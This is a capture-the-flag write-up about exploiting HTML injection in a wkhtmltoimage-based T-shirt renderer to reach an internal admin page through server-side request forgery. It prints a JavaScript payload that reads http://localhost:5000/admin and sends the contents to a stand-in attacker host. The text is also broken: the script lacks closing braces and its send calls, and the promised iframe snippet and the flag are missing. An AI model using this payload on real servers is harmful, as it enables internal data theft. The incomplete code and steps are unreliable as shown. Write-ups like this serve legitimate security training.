Hacker TS

We have some kind of image renderer that places our text onto a T-Shirt image. After some fuzzing, we would find that HTML injection is possible.

If we try to load an external resource (e.g. JavaScript or stylesheet), we can capture the request made by the server, and see that the user agent is wkhtmltoimage.

It seems that SSRF vulnerabilities through wkhtmltoimage and wkhtmltopdf are pretty well known, so we could craft the following payload to exfiltrate the contents of http://localhost:5000/admin.

            function reqListener () {
                var exfil = new XMLHttpRequest();
                exfil.open("GET", "http://ATTACKER_URL/" + btoa(this.responseText), false);

            var oReq = new XMLHttpRequest();
            oReq.addEventListener("load", reqListener);
            oReq.open("GET", "http://localhost:5000/admin");

We can then host the above and load it through an iframe:


The contents of the admin page contains the flag:

<!-- Page Content -->
<div class="container">
  <div class="alert alert-success mt-5">
    Hi admin! here is your flag:
<!-- /.container -->

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